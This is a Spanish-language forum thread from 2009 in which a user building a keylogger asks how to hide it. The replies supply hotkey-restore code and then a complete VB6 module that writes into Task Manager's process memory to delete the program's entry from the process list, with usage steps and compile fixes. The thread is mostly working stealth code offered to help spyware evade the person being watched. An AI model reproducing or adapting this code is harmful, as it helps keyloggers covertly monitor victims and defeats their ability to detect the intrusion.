Autor
|
Tema: modo oculto (Leído 4,919 veces)
|
Daklon
Desconectado
Mensajes: 57
|
estoy intentando poner la tipica opcion de que cuando apretas un boton el keylogger se minimiza y deja de estar en la barra de tareas y que cuando apretas una combinacion de teclas se restaura pero cuando pongo esto para que pase a "modo oculto" me sale: Error de compilacion: La funcion o la interfaz está marcada como restringida, o la función usa un tipo de Automatización no admitido en Visual Basic lo que pongo exactamente es Private Sub Command3_Click() Form1.WindowState = 1 Form1.ShowInTaskbar = False
End Sub
con el windowsstate solo si funciona pero con el taskbar ya me sale el error como lo soluciono? se me ha ocurrido una idea pero no estoy seguro de si funcionaria y es usando el comando call y lo otro es que tampoco se como ahcer que cuando se presione determinada combinacion de teclas la ventana se restaure Edit: probe con esto y me sale el mismo error: Private Sub Command3_Click() Call oculto_Load
End Sub
Private Sub oculto_Load() Form1.WindowState = 1 Form1.ShowInTaskbar = False End Sub
edit2: ya lo solucione usando form1.visible = False pero sigo sin descubrir como hacer para que cuando se pulse una combinaicon de teclas se restaure la ventana
|
|
« Última modificación: 29 Octubre 2009, 23:00 pm por Daklon »
|
En línea
|
|
|
|
LeandroA
|
hola te paso un ejemplo facil del api guide Private Const MOD_ALT = &H1 Private Const MOD_CONTROL = &H2 Private Const MOD_SHIFT = &H4 Private Const PM_REMOVE = &H1 Private Const WM_HOTKEY = &H312 Private Type POINTAPI x As Long y As Long End Type Private Type Msg hWnd As Long Message As Long wParam As Long lParam As Long time As Long pt As POINTAPI End Type Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long Private Declare Function UnregisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long) As Long Private Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As Msg, ByVal hWnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long Private Declare Function WaitMessage Lib "user32" () As Long Private bCancel As Boolean Private Sub ProcessMessages() Dim Message As Msg 'loop until bCancel is set to True Do While Not bCancel 'wait for a message WaitMessage 'check if it's a HOTKEY-message If PeekMessage(Message, Me.hWnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then 'restore the form WindowState = vbNormal End If 'let the operating system process other events DoEvents Loop End Sub Private Sub Form_Load() 'KPD-Team 2000 'URL: http://www.allapi.net/ 'E-Mail: KPDTeam@Allapi.net Dim ret As Long bCancel = False 'register the Ctrl-F hotkey ret = RegisterHotKey(Me.hWnd, &HBFFF&, MOD_CONTROL, vbKeyF) 'show some information Me.AutoRedraw = True Me.Print "Press CTRL-F to restore this form" 'show the form and Show 'process the Hotkey messages ProcessMessages End Sub Private Sub Form_Unload(Cancel As Integer) bCancel = True 'unregister hotkey Call UnregisterHotKey(Me.hWnd, &HBFFF&) End Sub cuando apretas ctrl +f se restaura el formulario Saludos
|
|
|
En línea
|
|
|
|
WHK
|
Y con esto lo ocultas de la lista de procesos (solo del administrador de tareas) Option Explicit Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Const PROCESS_VM_OPERATION = &H8 Const PROCESS_VM_READ = &H10 Const PROCESS_VM_WRITE = &H20 Const PROCESS_ALL_ACCESS = 0 Private Const PAGE_READWRITE = &H4& Const MEM_COMMIT = &H1000 Const MEM_RESERVE = &H2000 Const MEM_DECOMMIT = &H4000 Const MEM_RELEASE = &H8000 Const MEM_FREE = &H10000 Const MEM_PRIVATE = &H20000 Const MEM_MAPPED = &H40000 Const MEM_TOP_DOWN = &H100000 Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Const LVM_FIRST = &H1000 Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4) Private Const LVM_GETITEMW = (LVM_FIRST + 75) Private Const LVIF_TEXT = &H1 Private Const LVM_DELETEITEM = 4104 Public Type LV_ITEM mask As Long iItem As Long iSubItem As Long state As Long stateMask As Long lpszText As Long 'LPCSTR cchTextMax As Long iImage As Long lParam As Long iIndent As Long End Type Type LV_TEXT sItemText As String * 80 End Type Public Function Procesos(ByVal hWnd2 As Long, lParam As String) As Boolean Dim Nombre As String * 255, nombreClase As String * 255 Dim Nombre2 As String, nombreClase2 As String Dim X As Long, Y As Long X = GetWindowText(hWnd2, Nombre, 255) Y = GetClassName(hWnd2, nombreClase, 255) Nombre = Left(Nombre, X) nombreClase = Left(nombreClase, Y) Nombre2 = Trim(Nombre) nombreClase2 = Trim(nombreClase) If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then OcultarItems (hWnd2) Exit Function End If If Nombre2 = "" And nombreClase2 = "" Then Procesos = False Else Procesos = True End If End Function Private Function OcultarItems(ByVal hListView As Long) ' As Variant Dim pid As Long, tid As Long Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long Dim DirMemComp As Long, dwTam As Long Dim DirMemComp2 As Long Dim sLVItems() As String Dim li As LV_ITEM Dim lt As LV_TEXT If hListView = 0 Then Exit Function tid = GetWindowThreadProcessId(hListView, pid) nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&) If nElem = 0 Then Exit Function ReDim sLVItems(nElem - 1) li.cchTextMax = 80 dwTam = Len(li) DirMemComp = GetMemComp(pid, dwTam, hProceso) DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso) For i = 0 To nElem - 1 li.lpszText = DirMemComp2 li.cchTextMax = 80 li.iItem = i li.mask = LVIF_TEXT WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo lt.sItemText = Space(80) WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp) Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo) If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then '<===========CAMBIAR Call SendMessage(hListView, LVM_DELETEITEM, i, 0) Exit Function End If Next i CloseMemComp hProceso, DirMemComp, dwTam CloseMemComp hProceso, DirMemComp2, LenB(lt) End Function Private Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid) GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE) End Function Private Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long) Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE) CloseHandle hProceso End Sub Private Function TrimNull(sInput As String) As String Dim pos As Integer pos = InStr(sInput, Chr$(0)) If pos Then TrimNull = Left$(sInput, pos - 1) Exit Function End If TrimNull = sInput End Function Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) Dim Handle As Long Handle = FindWindow(vbNullString, "Administrador de tareas de Windows") If Handle <> 0 Then EnumChildWindows Handle, AddressOf Procesos, 1 End Sub Public Sub Ocultar(ByVal hwnd As Long) App.TaskVisible = False SetTimer hwnd, 0, 20, AddressOf TimerProc End Sub Public Sub Mostrar(ByVal hwnd As Long) App.TaskVisible = True KillTimer hwnd, 0 End Sub
Lo usas así: Private Sub Command1_Click() Ocultar Me.hwnd End Sub Private Sub Command2_Click() Mostrar Me.hwnd End Sub
|
|
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
El proceso de ocultar del Administrador de Tareas es un proceso que se come el procesador xP
y peor aun se nota el salto del proceso,
P.D.: si usan este ultimo al Titulo de la Aplicacion(Del proyecto en general, cuando van a generar el exe, den click en opciones y modifiquen) me parece que se tiene que poner un punto o espacio, no recuerdo bien xP.
Dulces Lunas
|
|
« Última modificación: 30 Octubre 2009, 00:00 am por ░▒▓BlackZeroҖ▓▒░ »
|
En línea
|
The Dark Shadow is my passion.
|
|
|
Daklon
Desconectado
Mensajes: 57
|
intente ponerlo pero me daba errores al probarlo
|
|
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
intente ponerlo pero me daba errores al probarlo
espero lo estes compilando... si sabes leer codigo sabras que no funcionara el codigo posteado por WHK si no esta compilado
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
Daklon
Desconectado
Mensajes: 57
|
la verdad es que no entiendo la gran parte pero algunos cachos si
el error me da nada mas escribirlo
y es algo de que esto: Public Type LV_ITEM
no puede ser publico o algo asi
|
|
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
ola
empece hace poco con esto del vb y tengo una duda
me hice un programa(bastante simple) y luego me hice otro formulario con una imagen, sin bordes y con un timer para que pasados 3 segundos automaticamente se cerrara y dejara ver el programa(form1) pero no se como puedo hacerlo
la verdad es que no entiendo la gran parte pero algunos cachos si
el error me da nada mas escribirlo
y es algo de que esto: Public Type LV_ITEM
no puede ser publico o algo asi
Con le dediques un dia de lectura a un manual... Busca un TUTORIAL de Visual BAsic es basico, pero aun asi, el codigo va en un modulo mas no en un form o modulo de claseDulces Lunas!¡.
|
|
« Última modificación: 30 Octubre 2009, 19:38 pm por ░▒▓BlackZeroҖ▓▒░ »
|
En línea
|
The Dark Shadow is my passion.
|
|
|
cobein
|
Hay maneras mucho mas simples de ocultar el proceso, cambiando los atributos de seguridad .. son un par de APIs nada mas.
|
|
|
En línea
|
|
|
|
WHK
|
te sale ese error porque lo estas escribiendo sobre el mismo form y lo estas haciendo private, ponlo en un módulo bas
|
|
|
En línea
|
|
|
|
|
|